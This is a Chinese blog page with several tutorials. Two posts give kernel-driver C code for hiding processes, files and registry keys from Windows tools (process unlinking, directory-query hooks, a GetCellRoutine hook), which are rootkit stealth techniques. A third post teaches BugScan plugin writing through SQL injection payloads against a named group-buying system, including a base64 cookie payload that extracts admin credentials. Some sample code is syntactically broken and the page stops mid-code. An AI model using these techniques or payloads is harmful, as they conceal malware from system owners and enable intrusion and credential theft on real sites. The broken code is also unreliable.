关于驱动隐藏进程以及文件夹

发布时间:April 26, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

进程隐藏:让任务管理器找不到指定进程
原理:任务管理器通过ZwQuerySystemInformation函数来获取当前进程列表,而 ZwQuerySystemInformation函数内部是通过查找双向链表来操作的,所以如果把想隐藏的进程从这个链表中脱离出来,任务管理器就列不出这个进程了。
具体方法:1、首先得到要隐藏的进程的PID
      2、通过PID得到进程的EPROCESS
      3、由EPROCESS定位到双向链表
      4、修改链表,使指定进程脱离
实现:
1、在驱动中获取指定进程PID网上有很多方法,贴一个我也忘了在哪里找的方法吧:

代码:

ULONG GetPid()
{
  NTSTATUS ntStatus;
  char ProcessName[256];
  ULONG cbBuffer; 
  PSYSTEM_PROCESS_INFORMATION pInfo;
  PSYSTEM_THREAD_INFORMATION pThread;
  VOID* pBuffer = NULL;
  ULONG i;
  ULONG ThreadCount;
  char MyProtectName[]="calc.exe";
  ULONG MyProcessId;


  ZwQuerySystemInformation(5, &cbBuffer, 0, &cbBuffer);
  pBuffer = ExAllocatePool (NonPagedPool, cbBuffer); 
  if (pBuffer == NULL) 
  {
    return 1;
  }
  ntStatus = ZwQuerySystemInformation(5, pBuffer, cbBuffer, NULL);

  if (!NT_SUCCESS(ntStatus))
  {
    ExFreePool(pBuffer); 
    return 1; 
  }

  pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

  while(1){
    LPWSTR pszProcessName = pInfo->ProcessName.Buffer;
    if (pszProcessName == NULL) 
      pszProcessName = L"NULL"; 
    wcstombs(ProcessName,pszProcessName,256); 
    if(_stricmp(MyProtectName,ProcessName)==0)
    {
      DbgPrint("calc.exe Pid is %d\n",pInfo->ProcessId);
      MyProcessId=pInfo->ProcessId;
      return MyProcessId;
    } 
    if (pInfo->NextEntryDelta == 0) 
      break; 

    pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)+ pInfo->NextEntryDelta);
  }
  ExFreePool(pBuffer);
  return 0;
}

该方法的原理是:
通过ZwQuerySystemInformation函数得到进程信息_SYSTEM_PROCESS_INFORMATION,然后按进程名与要隐藏的进程名进行比较,得到进程的PID。
2、通过PID得到进程的EPROCESS就简单了,一个PsLookupProcessByProcessId全部搞定。
3、定位双向链表就更简单了,dt一下EPROCESS结构,找到ActiveProcessLinks成员的偏移,就是它了。
4、最后一步,修改链表。看网上的代码我一直没看明白,想到上学的时候写过双链表的程序,索性自己分析了一下:
作一个简单的示意图,方便理解吧:
 点击图片以查看大图

图片名称:   111.png
查看次数:   26
文件大小:   5.0 KB
文件 ID : 84521
现在假设想要隐藏的进程在双链表中对应B节点,橘黄色箭头表示前一个节点Blink,绿色箭头表示后一个节点Flink。
先看上面一条链表,现在要把B节点中的C,写到A节点中B的位置,而A节点正是B.Blink,所以就可以这样写一句代码:B->Blink->Flink = B->Flink,这样上一条链已经不关节点B的事了。
但是这样还脱不了身,还得把下面一条链断了。也就是要B.Blink赋值给C.Blink,既而得到了这样一句代码:B->Flink->Blink= B->Blink;
综上所述,任务管理器找不到指定进程了。
文件隐藏
原理:windows文件浏览器是使用ZwQueryDirectoryFile函数来读取文件列表的,只要hook这个函数,做一些过滤,就可以了。

if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
  {
    PFILE_BOTH_DIR_INFORMATION pFileInfo;
    PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
    BOOLEAN bLastOne;
    int iPos,iLeft;
    pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; 
    pLastFileInfo = NULL;
    do
    {
      bLastOne = !( pFileInfo->NextEntryOffset );
      RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
      if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
      {
        if(bLastOne) 
        {
          pLastFileInfo->NextEntryOffset = 0;
          break;
        } 
        else
        {
          
          iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
          iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
          RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
          continue;
        }
      }
      pLastFileInfo = pFileInfo;
      KdPrint(("%X",pFileInfo->NextEntryOffset));
      pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
      
    }while(!bLastOne);
    RtlFreeAnsiString(&ansiDirName); 
    RtlFreeAnsiString(&ansiFileName);
  }

这段代码难于理解的地方,个人认为是这三句:
iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );

还是画个图来说吧:
 点击图片以查看大图

图片名称:   222.png
查看次数:   10
文件大小:   13.4 KB
文件 ID : 84522
现在要保护的文件假设是FileC,那么当查询到这个文件的时候怎么办呢?就是把指针移动到后面一个去。但是这个结构比双链表要复杂得多,所以不能像上面进程隐藏那么改了,这段代码是把后面的指针内容直接复制覆盖 FileC的指针。
iPos:前面已经走过的路的长度。
pFileInfo->NextEntryOffset:要隐藏文件到下一个文件的相对距离
iLeft:除去要隐藏的文件之后要走的路的长度
注册表隐藏
原理:上面的链接中原理已经被大牛说得很清楚了,我只谈下我理解了很久的地方
具体方法:1、通过注册表句柄,得到对象体
     2、通过对象体,得到KeyControlBlock
     3、通过KCB,得到GetCellRoutine函数
     4、hook GetCellRoutine 函数
     5、判断节点是否为要隐藏节点,如果是则返回最后一个节点。
贴一段代码:
具体方法:1、ssdt hook ZwQueryDirectoryFile函数
     2、获取FILE_BOTH_DIR_INFORMATION结构,对比要隐藏的文件名
     3、修改指针,使其跳过隐藏文件
实现:
1、ssdt hook就不用说了,大家都会
2、调用原来的ZwQueryDirectoryFile,获取FILE_BOTH_DIR_INFORMATION结构。
3、贴一段代码吧:

PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
  // 调用原函数
  
  PVOID pRet = g_pGetCellRoutine(Hive, Cell);

  if (pRet)
  {
    // 返回的是需要隐藏的节点
    if (pRet == g_HideNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 查询、保存并返回其父键的最后一个子键的节点
      pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
      DbgPrint("g_LastNode = %lx\n", g_LastNode);
      // 隐藏的正是最后一个节点,返回空值
      if (pRet == g_HideNode) pRet = NULL;
    }
    // 返回的是先前保存的最后一个节点
    else if (pRet == g_LastNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 清空保存值,并返回空值
      //pRet = g_LastNode = NULL;
    }
  }
  return pRet;
}

问题:1、遇到要隐藏的节点,为什么要返回最后一个节点?
答:遇到要隐藏的节点,如果直接返回NULL,那么后面的节点就无法列出了。
   2、遇到最后一个节点,为什么要返回NULL。
答:前面遇到要隐藏的节点时返回了最后一个节点,如果再返回,会出现两个最后一个节点。如图:
名称:  333.png
查看次数: 1
文件大小:  3.5 KB
 这种效果不是你新建一个同名项就能达到的哦。 

参考文章:
http://bbs.pediy.com/showthread.php?t=64728    进程隐藏
http://bbs.pediy.com/showthread.php?t=63629    文件隐藏
http://bbs.pediy.com/showthread.php?t=63540    注册表隐藏

1.http://www.codeproject.com/Articles/32744/Driver-to-Hide-Processes-and-Files

2.http://www.codeproject.com/Articles/167583/Driver-to-Hide-Processes-and-Files-Second-Edition

3.http://www.codeproject.com/Articles/444995/Driver-to-hide-files-in-Linux-OS

4.http://www.codeproject.com/Articles/66305/Simple-SST-Unhooker

驱动隐藏文件夹的实现(支持Win7)

发布时间:April 26, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

刚完成一个利用驱动隐藏文件夹的程序,隐藏文件的类似,现在贴出来共享给大家。

代码相对比较简单,我是在别人代码的基础上改的。

因为现在在网上找到的代码都是不支持XP以上版本的,所以我在别人代码的基础上添加了XP以上版本的支持。

现在该代码同时支持XP以下及XP以上版本(本人仅测试XP和Win7)。

利用驱动实现文件的隐藏主要是在IRP_MJ_DIRECTORY_CONTROL的后操作回调函数中处理其输入参数FLT_CALLBACK_DATA结构中的缓冲区数据。

该缓冲地址的获取是重点,Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer(或MdlAddress)

网上现有代码不支持XP以上版本的原因是Vista或Win7返回的FileInformationClass结构不再是FileBothDirectoryInformation,而是FileIdBothDirectoryInformation

【注】虽然利用驱动隐藏文件无法利用“显示隐藏文件”查看,但文件实际仍存在,通过路径仍然可以访问。

实现代码如下:

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
 
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
 
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
 
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
 
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

注意以上代码使用的是宏开关,只是在编译时起作用,而非运行时。要想XP和win7都可以正常隐藏文件目录需要分别编译。

要想XP和win7同时起作用,需要去掉宏开关,然后把HideFilePostDirCtrl 改成一下代码

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

 

关于bugscan插件的写法

发布时间:April 26, 2015 // 分类:代码学习,python // No Comments

仅仅局限于web层次的,这里的使用的是curl方式进行的请求

根据给出的SDK,一个标准的插件的代码如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Plugin Format
#_Function_ = 插件格式
#_FileName_ = Plugin_Format.py
######建议把之上的东西都带上,以便于辨认######
def assign(service, arg):
  if service == "service":  # 1. service字符串
    return True, arg 
def audit(arg):
  print "hello, world !"
  # 2.主体攻击代码部分
if __name__ == '__main__':
  from dummy import *
  audit(assign('service', 'http://www.example.com/')[1])
  # 3. service字符串
  # 4. http://www.example.com/ 字符串

在一些时候我们需要让插件像个正常访问者一样去请求网页

这就需要我们的插件具备HTTP通信的能力,而这里BugScan官方给出了curl类的curl函数,能够更加方便的取获取网页的信息

我们先看一下curl的帮助信息,中文版哦

    curl是一个使用纯Python编写的工具,只支持HTTP协议

命令行格式:
curl [-I | -d DATA] [-A USER_AGENT] [-b COOKIE]
   [--connect-timeout CONNECT_TIMEOUT] [-e REFERER]
   [-H HEADER] [-i] [-m MAX_TIME]
   [--max-filesize MAX_FILESIZE] [--mime-type MIME_TYPE]
   [-L] [--max-redirs MAX_REDIRS] [-T] [--retry RETRY]
   [--retry-delay RETRY_DELAY] [-u USER] [-X REQUEST]
    
     
--mime-type 参数表示指定一个MimeType,如果MimeType类型不对,curl将会抛出一个错误(找不到指定字符串类型)
curl函数执行以后会以元组形式返回5个值,我们可以使用5个变量去接收这5个返回值:
  code:返回HTTP状态码
  head:返回HTTP头
  body:返回HTTP内容,即HTML
  errcode :返回curl的状态码,代码随后解释
  final_url   :返回提交的URL
errcode状态码解释:
  0 : 返回正常
  1 : 不能连接目标URL
  2 : 连接超时
  3 : 返回异常
  4 : 发送异常
  5 : 发送数据包过大
  6 : 不能确定的主机
  7 : 不支持的协议
  8 : 参数错误
  9 : MimeType错误
一些举例:
  code, head, body, ecode, redirect_url = curl.curl('-L http://www.baidu.com')
  GET提交:
    curl.curl('http://www.abc.com/')
  带HEAD提交:
    curl.curl('-H http://www.abc.com/')
  POST提交:
    curl.curl('-d user=abc&pass=ddd http://www.abc.com/')
  PUT提交:
    curl.curl('T -d "Content to put" http://www.abc.com/')
  带Cookie提交:
    curl.curl('-b user=abc&pass=ddd http://www.abc.com/')
  带Referer提交:
    curl.curl('-e http://www.google.com/ http://www.abc.com/')
  重定向数据流:
    curl.curl('-L http://www.abc.com/')
curl会在获取网页内容的过程中自动去接收cookie,在进行第二次请求的时候将附加到HTTP头,如果想保持cookie为空,请使用curl.reset()

那么现在我们想让我们的插件去像个正常的访问者一样去访问百度,那么我们的代码可以这么写

#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')

什么,你告诉我执行完了啥都没有? 当然啥都没有了,这个只是一个获取并赋值的过程,你见过你定义一个变量之后就返回变量值么? 如果我要显示内容,我们可以用print打印出来

#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')
# 以下显示HTTP状态码
print '---------------code---------------'
print code
# 以下显示HTTP头
print '---------------code---------------'
print head
# 以下显示HTTP主体内容(HTML)
print '---------------code---------------'
print body
# 以下显示curl的状态码
print '-------------err code-------------'
print errcode
# 以下显示curl访问的URL
print '------------final_url-------------'
print final_url

这样我们就获取到了百度的主页内容,当然如果要像浏览器一样显示出来,我们还需要进行HTML解析和渲染,当然curl不具备此功能(一个命令行工具要求那么多作死啊)那么接下来我们带着一些参数去访问

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  payload = 'readnews.asp?id=1 and 1=1' 
  # 注意这里的payload部分不需要在之前加入/,否则接下来的curl没办法正确识别url
  target = arg + payload
  code1, head, body1, errcode, final_url = curl.curl('"%s"', % arg)
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  code2, head, body2, errcode, final_url = curl.curl('"%s"', % target)
  #同上
  if code1 == 200 and code2 == 200 and body1 == body2 :
    # 判断加和不加payload的网页的HTTP状态码是否为200
    # 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

这样我们就完成了一个最基本的检测注入漏洞的插件,当然这个插件功能上有些弱

不过这个插件已经能说明一些问题了

木有错,给BugScan写插件就这么简单

这里我们的举例是GET方式的提交,那么POST方式的提交我们可以写成以下的样子

使用POST提交的时候curl的参数为 -d

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'check.asp' 
  POST_Data = 'username=admin&password=admin888'  #正常的POST数据
  payload = 'username=admin and 1=1&password=admin888'  #带有攻击语句的POST数据
  target = arg + payload
  code1, head, body1, errcode, final_url = curl.curl('"-d %s %s"' % (POST_Data, target))
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  code2, head, body2, errcode, final_url = curl.curl('"-d %s %s"', % (payload, target))
  #同上
  if code1 == 200 and code2 == 200 and body1 == body2 :
    # 判断加和不加payload的网页的HTTP状态码是否为200
    # 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

我们也可以带着cookie提交

使用cookie提交的参数为 -b

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'main.asp' 
  cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3'  #cookie值
  target = arg + payload
  code, head, body, errcode, final_url = curl.curl('"-b %s %s"' % (POST_Data, target))
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  #同上
  if code == 200 :
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

我们也可以同时带着多个参数去请求

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'main.asp' 
  cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3'  #cookie值
  POST = 'SQL=select username,password from admin'
  target = arg + payload
  code, head, body, errcode, final_url = curl.curl('"-b %s -d %s %s"' % (cookie, POST, target))
  # 使用-b 参数带入cookie数据
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  #同上
  if code == 200 :
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

看了手册,我们来写几个简单的插件

1.GET方式请求的

#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service,arg):
    if service == "fangweituangou":#系统名称
        return True, arg
         
def audit(arg):
    payload = "index.php?m=Article&a=showByUname&uname=a%27and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"  #写入的进行请求的payload
    target = arg + payload
    code, head, res, errcode,finalurl =  curl.curl('"%s"', % target) #这里是GET请求
 
    if code == 200:
    if "for key 'group_key'" in res:    #匹配关键字
        security_hole('find sql injection: ' + arg+'index.php')
         
if __name__ == "__main__":
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

2.POST方式进行的请求

#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service, arg):
    if service == "fangweituangou":
        return True, arg
         
def audit(arg):
    url = arg + "/m.php?m=User&a=doLogin"
    payload = "origURL=ghost&password=ghost&email=ghost%27and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#"
    code, head, res, errcode,finalurl =  curl.curl('"-d %s %s"', % (payload, url)) 
    #curl target -d data 使用POST的方式传输值
    if code == 200:
        if res.find("for key 'group_key'") != -1:#匹配关键字
            security_hole('find sql injection: ' + url)
             
if __name__ == '__main__':
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

3.带cookie的请求方式

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
def assign(service,arg):
    if service == "fangweituangou":
        return True, arg
 
def audit(arg):  
    payload = 'index.php'
    cookie = 'email=czoxOTE6IidBTkQgKFNFTEVDVCAxIEZST00oU0VMRUNUIENPVU5UKCopLENPTkNBVCgoU0VMRUNUIFNVQlNUUklORyhDT05DQVQoYWRtX25hbWUsMHg3YyxhZG1fcHdkLDB4N2MpLDEsNjApIEZST00gdDFfYWRtaW4gTElNSVQgMCwxKSxGTE9PUihSQU5EKDApKjIpKVggRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIEdST1VQIEJZIFgpYSkjIjs=;password=0;'
     
    target = arg + payload
    code, head, res, errcode, final_url = curl.curl('-b %s %s' % (cookie,target))
    #curl -b cookie target 使用cookie的方式传输值
    if code == 200:  
